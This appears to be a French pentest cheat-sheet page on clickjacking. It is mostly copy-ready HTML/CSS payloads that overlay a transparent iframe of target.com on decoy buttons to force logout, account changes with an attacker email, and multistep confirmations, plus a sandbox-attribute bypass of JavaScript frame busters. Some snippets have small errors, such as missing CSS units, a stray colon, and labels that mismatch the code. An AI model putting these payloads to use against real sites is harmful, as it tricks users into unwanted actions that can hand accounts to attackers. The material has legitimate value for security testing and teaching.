🖱️Clickjacking

Basic

Exemple déconnexion d'un utilisateur:

<style>
    iframe {        //Affichage transparent de l'iframe
        position:relative;
        width:1000px;
        height: 700px;
        opacity: 0.000001;
        z-index: 2;
    }
    div {            //Position du "click here" aligné au bouton de déconnexion
        position:absolute;
        top:515px;
        left:60px;
        z-index: 1;
    }
</style>
<div>Click here</div>
<iframe src="https://target.com/profile"></iframe>

Exemple de changement de mot de passe:

<style>
    iframe {        //Affichage transparent de l'iframe
        position:relative;
        width:1000px;
        height: 700px;
        opacity: 0.000001;
        z-index: 2;
    }
    div {            //Position du "clic here" aligné au bouton de déconnexion
        position:absolute;
        top:515px;
        left:60px;
        z-index: 1;
    }
</style>
<div>Clic here</div>
<iframe src="https://target.com/profile?email=attacker@mail.xyz"></iframe>

Contournement de frame busters

Le clickjacking n'est possible que si la page web victime autorise son encadrement.

Un mécanisme de protection utilisé pour empêcher cela est le frame buster. Les frame busters sont implémentés en Javascript, il valide si la fenêtre actuelle est la fenêtre principale. L'approche recommandée consiste à bloquer le rendu de la fenêtre par défaut et à ne le débloquer qu'après avoir confirmé que la fenêtre actuelle est la principale :

<style>html{display:none;}</style>
<script>
   if (self == top) {
       document.documentElement.style.display = 'block'; 
   } else {
       top.location = self.location; 
   }
</script>

Les techniques de contournement de cadre sont souvent spécifiques au navigateur et à la plate-forme et, en raison de la flexibilité du HTML, elles peuvent généralement être contournées par les attaquants. Comme les frame busters sont en JavaScript, les paramètres de sécurité du navigateur peuvent empêcher leur fonctionnement ou même le navigateur peut même ne pas prendre en charge le JavaScript.

Une solution de contournement efficace contre les frame busters consiste à utiliser l'attribut "sandbox" de la balise iframe HTML5. Lorsqu'il est défini avec les valeurs "allow-forms" ou "allow-scripts" et que la valeur "allow-top-navigation" est omise, le script frame buster peut être neutralisé car l'iframe ne peut pas vérifier s'il s'agit ou non de la fenêtre supérieure.

Exemple de changement de mot de passe:

<style>
    iframe {
        position:relative;
        width:1000;
        height: 700;
        opacity: 0.1;
        z-index: 2;
    }
    div {
        position:absolute;
        top:465;
        left:70:
        z-index: 1;
    }
</style>
<div>Clic here</div>
<iframe sandbox="allow-forms" src="https://target.com/profile?email=attacker@mail.xyz"></iframe>

Simple Multistep (confirmation)

<style>
	iframe {
		position:relative;
		width:1000;
		height: 700;
		opacity: 0.1;
		z-index: 2;
	}
   .firstClick, .secondClick {
		position:absolute;
		top:515;
		left:50;
		z-index: 1;
	}
   .secondClick {
		top:315;
		left:215;
	}
</style>
<div class="firstClick">Clic here</div>
<div class="secondClick">Confirm</div>
<iframe src="https://target.com/profile"></iframe>

Dernière mise à jour